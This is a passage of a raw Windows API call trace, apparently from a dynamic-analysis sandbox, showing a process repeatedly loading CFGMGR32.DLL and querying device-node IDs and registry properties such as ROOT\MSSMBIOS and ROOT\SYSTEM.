lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.361] malloc (_Size=0x18) returned 0x196ef0d1e20 [0205.361] CM_Get_Device_IDA (in: dnDevInst=0x3a, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\MSSMBIOS\\0000") returned 0x0 [0205.361] malloc (_Size=0x48) returned 0x196ef0fb860 [0205.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5b42b4b4, dwHighDateTime=0x1d9eb0c)) [0205.361] SetEvent (hEvent=0x248) returned 1 [0205.365] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.365] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.369] malloc (_Size=0x18) returned 0x196ef0d1b40 [0205.369] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0205.369] malloc (_Size=0x1e) returned 0x196ef0fa120 [0205.369] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0fa120, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fa120, pulLength=0x67117d608) returned 0x0 [0205.369] free (_Block=0x196ef0fa120) [0205.369] malloc (_Size=0x48) returned 0x196ef0fb220 [0205.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5b42b4b4, dwHighDateTime=0x1d9eb0c)) [0205.370] SetEvent (hEvent=0x248) returned 1 [0205.373] malloc (_Size=0x18) returned 0x196ef0d19e0 [0205.373] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0205.373] free (_Block=0x196ef0d19e0) [0205.373] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855160 [0205.373] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0205.373] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0205.373] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0205.373] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0205.373] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0205.373] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0205.373] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0205.373] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0205.374] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d80, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.375] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0205.376] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855160) returned 1 [0205.376] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.376] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.380] malloc (_Size=0x18) returned 0x196ef0d1a20 [0205.380] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0205.380] malloc (_Size=0x48) returned 0x196ef0fb400 [0205.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5b4517d8, dwHighDateTime=0x1d9eb0c)) [0205.380] SetEvent (hEvent=0x248) returned 1 [0205.504] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.507] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.516] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.522] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.529] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.529] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.545] malloc (_Size=0x18) returned 0x196ef0d1f20 [0205.545] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.550] malloc (_Size=0x48) returned 0x196ef0fbc70 [0205.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b5f4ed9, dwHighDateTime=0x1d9eb0c)) [0205.550] SetEvent (hEvent=0x248) returned 1 [0205.551] SetEvent (hEvent=0x248) returned 1 [0205.552] free (_Block=0x196ef0fbc70) [0205.552] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.552] malloc (_Size=0x48) returned 0x196ef0fb270 [0205.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b5f4ed9, dwHighDateTime=0x1d9eb0c)) [0205.552] SetEvent (hEvent=0x248) returned 1 [0205.553] SetEvent (hEvent=0x248) returned 1 [0205.554] free (_Block=0x196ef0fb270) [0205.554] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.554] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0205.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b5f4ed9, dwHighDateTime=0x1d9eb0c)) [0205.554] SetEvent (hEvent=0x248) returned 1 [0205.555] SetEvent (hEvent=0x248) returned 1 [0205.556] free (_Block=0x196ef0fb8b0) [0205.556] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.556] malloc (_Size=0x48) returned 0x196ef0fbef0 [0205.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b5f4ed9, dwHighDateTime=0x1d9eb0c)) [0205.556] SetEvent (hEvent=0x248) returned 1 [0205.560] SetEvent (hEvent=0x248) returned 1 [0205.560] free (_Block=0x196ef0fbef0) [0205.560] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.562] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0205.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b61b207, dwHighDateTime=0x1d9eb0c)) [0205.563] SetEvent (hEvent=0x248) returned 1 [0205.563] SetEvent (hEvent=0x248) returned 1 [0205.564] free (_Block=0x196ef0fb6d0) [0205.564] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3a, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0205.564] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0205.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5b61b207, dwHighDateTime=0x1d9eb0c)) [0205.565] SetEvent (hEvent=0x248) returned 1 [0205.567] SetEvent (hEvent=0x248) returned 1 [0205.567] free (_Block=0x196ef0fb5e0) [0205.567] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3a, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0205.569] malloc (_Size=0x48) returned 0x196ef0fc170 [0205.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5b61b207, dwHighDateTime=0x1d9eb0c)) [0205.569] SetEvent (hEvent=0x248) returned 1 [0205.570] SetEvent (hEvent=0x248) returned 1 [0205.570] free (_Block=0x196ef0fc170) [0205.570] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0205.571] malloc (_Size=0x48) returned 0x196ef0fba40 [0205.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b61b207, dwHighDateTime=0x1d9eb0c)) [0205.571] SetEvent (hEvent=0x248) returned 1 [0205.573] SetEvent (hEvent=0x248) returned 1 [0205.574] free (_Block=0x196ef0fba40) [0205.574] CM_Get_Device_IDA (in: dnDevInst=0x3b, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\SYSTEM\\0000") returned 0x0 [0205.574] malloc (_Size=0x48) returned 0x196ef0fba40 [0205.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5b61b207, dwHighDateTime=0x1d9eb0c)) [0205.574] SetEvent (hEvent=0x248) returned 1 [0205.660] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.660] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.664] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0205.664] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0205.664] malloc (_Size=0x1a) returned 0x196ef0f9ee0 [0205.664] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9ee0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9ee0, pulLength=0x67117d608) returned 0x0 [0205.665] free (_Block=0x196ef0f9ee0) [0205.665] malloc (_Size=0x48) returned 0x196ef0fb680 [0205.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5b70fb7a, dwHighDateTime=0x1d9eb0c)) [0205.665] SetEvent (hEvent=0x248) returned 1 [0205.669] malloc (_Size=0x18) returned 0x196ef0d1d20 [0205.669] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0205.669] free (_Block=0x196ef0d1d20) [0205.669] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856660 [0205.669] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0205.669] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0205.669] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0205.669] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0205.669] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0205.669] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0205.669] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0205.670] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0205.670] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225c80, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0205.671] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0205.672] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856660) returned 1 [0205.672] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.672] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.678] malloc (_Size=0x18) returned 0x196ef0d20e0 [0205.678] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0205.678] malloc (_Size=0x48) returned 0x196ef0fb310 [0205.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5b73b095, dwHighDateTime=0x1d9eb0c)) [0205.679] SetEvent (hEvent=0x248) returned 1 [0205.682] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.682] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.686] GetProcAddress 